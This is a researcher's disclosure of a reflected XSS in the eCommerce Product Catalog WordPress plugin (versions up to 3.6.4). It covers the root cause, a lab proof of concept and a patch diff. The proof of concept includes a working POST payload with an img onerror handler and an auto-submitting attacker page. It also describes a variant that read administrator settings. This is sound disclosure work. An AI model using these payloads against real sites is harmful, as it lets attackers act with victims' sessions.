CVE-2026-115596: Unauthenticated Cross Site Scripting (XSS) in eCommerce Product Catalog WordPress Plugin
| CVE | CVE-2026-115596 |
| Plugin | eCommerce Product Catalog (ecommerce-product-catalog) |
| Affected | <= 3.6.4 |
| Fixed in | 3.6.5 |
| Severity | CVSS 7.1 High |
| Attacker needs | No account (a victim has to open an attacker page) |
| Advisory | Patchstack |
| PoC | Mor-Golan/CVE-2026-115596 |
Summary
I found a reflected Cross Site Scripting (XSS) bug in eCommerce Product Catalog by impleCode, up to and including version 3.6.4.
The plugin hooks the WordPress core esc_html() function and switches escaping off for any text that contains the string ic-search-keyword.
A product search term that starts with that string is printed raw inside the <h1> of the search results page.
An attacker with no account can host a page that auto submits a search to the target site, and the attacker’s JavaScript then runs on the site’s origin in the victim’s browser, with the victim’s session.
Root cause
The plugin registers a global filter on esc_html in functions/compatibility.php (line 410):
add_filter( 'esc_html', 'ic_esc_html', 10, 2 );
Every esc_html() call on the site now goes through ic_esc_html() (lines 420 to 426).
The filter receives both the escaped text and the original text, and it returns the original, unescaped text whenever that text contains the marker ic-search-keyword:
function ic_esc_html( $safe_text, $text ) {
if ( ic_string_contains( $text, 'ic-search-keyword' ) ) {
return $text; // raw, unescaped
}
return $safe_text;
}
The sink is ic_get_search_page_title() in templates/templates-functions.php (lines 826 to 841), which builds the title of the product search results page.
When $_GET['s'] is empty, it falls back to the raw query var from get_search_query( false ).
It wraps the term in <span class="ic-search-keyword"> and passes the term through esc_html().
If the term itself contains ic-search-keyword, the filter above hands it back unescaped.
The title reaches the browser through page_query() in templates/shortcode-catalog.php (lines 1373 to 1391).
In the is_ic_product_search() branch the title is copied into the post title of the current query, and the theme’s post title block prints it as the page <h1>.
Anyone can reach this path. is_ic_product_search() (functions/conditionals.php, lines 382 to 406) is true for a front end search with post_type=al_product, and the al_product post type is registered unconditionally.
There is no capability check and no nonce.
The term has to arrive in the POST body.
A term in the GET query string goes through sanitize_text_field(), which strips the tag.
When the term is sent by POST, $_GET['s'] is empty and the unsanitized query var is used instead.
I proved the bug in my lab on 3.6.4.
From a source comparison of older releases, the same filter, sink and fallback are present unchanged back to version 3.3.8.
Proof of concept
I tested on a default install: WordPress 7.x, PHP 8.2, the default block theme, and the plugin activated with no other configuration.
Activation creates the products listing page and a sample product, so the product search page exists out of the box.
The attack works with both plain and pretty permalinks.
-
Send one POST request with no cookies and no nonce:
POST /?post_type=al_product HTTP/1.1 Host: localhost:8080 Accept: */* Content-Type: application/x-www-form-urlencoded Content-Length: 86 s=ic-search-keyword%3Cimg+src%3Dx+onerror%3Ddocument.title%3D%27EPCXSS-epc9a4f13%27%3E -
The server answers
200 OKand the decoded term sits inside the<h1>as a live element:<h1 class="wp-block-post-title">Search Results for: <span class="ic-search-keyword">ic-search-keyword<img src=x onerror=document.title='EPCXSS-epc9a4f13'></span></h1> -
To deliver this to a victim, the attacker hosts a page that submits the form as a top level navigation.
The victim only has to open the page:<form id="f" method="POST" action="http://localhost:8080/?post_type=al_product"> <input type="hidden" name="s" id="s"> </form> <script> document.getElementById("s").value = "ic-search-keyword<img src=x onerror=document.title='EPCXSS-poc'>"; document.getElementById("f").submit(); </script>
The full scripts are in the PoC repository: poc.sh checks a target with one curl request, and poc.html is the auto submitting attacker page.
I also ran controls to isolate the cause:
- With the plugin deactivated, core escapes the same payload (
<img ...) and noic-search-keywordspan appears. - With the marker left out (term
NOMARKER<img ...>), the plugin’s span holds the escaped payload. - With the payload in the GET query string (
/?s=...&post_type=al_product), the tag is stripped and the span shows onlyic-search-keyword. - A normal search term such as
blue widgetrenders as plain text.
Impact
In my lab, headless Chromium ran the injected onerror handler and set document.title to the canary EPCXSS-epc9a4f13 in two ways.
The first was loading the served response bytes.
The second was end to end through the auto submitting attacker page, which landed on the search page with the live <img> element inside the <h1>.
The same POST sent with a logged in administrator session produced the identical raw element, so the sink fires for every visitor, logged in or not.
The script runs in the site’s own origin with the victim’s session.
With an administrator as the victim, a payload variant fetched /wp-admin/options-general.php as a same origin request with the administrator’s session and read values from the General Settings page, including the site title, the admin email address and the site URL.
All WordPress authentication cookies are HttpOnly, so the script cannot read the session cookie.
The realistic impact is acting as the victim with the victim’s own capabilities, not cookie theft.
The lab payload made no outbound requests and I did not perform any writes.
Fix
Update eCommerce Product Catalog to version 3.6.5 or later.
The patch I suggested in my report fixes the filter itself, so every esc_html() caller is covered.
It lets text through unescaped only when it is exactly the wrapper the plugin builds: text without tags around one <span class="ic-search-keyword"> whose content holds no markup.
A search term that only mentions the marker is escaped like any other text.
I checked this patch with a test harness and a syntax check, not on a running site.
--- a/functions/compatibility.php
+++ b/functions/compatibility.php
@@ -412,13 +412,17 @@
/**
* Preserves catalog search keyword markup in escaped HTML.
*
+ * Only the wrapper built by ic_get_search_page_title() is passed through: tag-free text around
+ * exactly one <span class="ic-search-keyword"> whose content holds no markup. A string that merely
+ * contains the marker, such as a search term typed by a visitor, is escaped like any other text.
+ *
* @param string $safe_text Escaped text.
* @param string $text Original text.
*
* @return string
*/
function ic_esc_html( $safe_text, $text ) {
- if ( ic_string_contains( $text, 'ic-search-keyword' ) ) {
+ if ( is_string( $text ) && preg_match( '/\A[^<>]*<span class="ic-search-keyword">[^<>]*<\/span>[^<>]*\z/', $text ) ) {
return $text;
}
Timeline
- 2026-10-13: I found the vulnerability and reproduced it in my local lab.
- 2026-10-28: CVE published.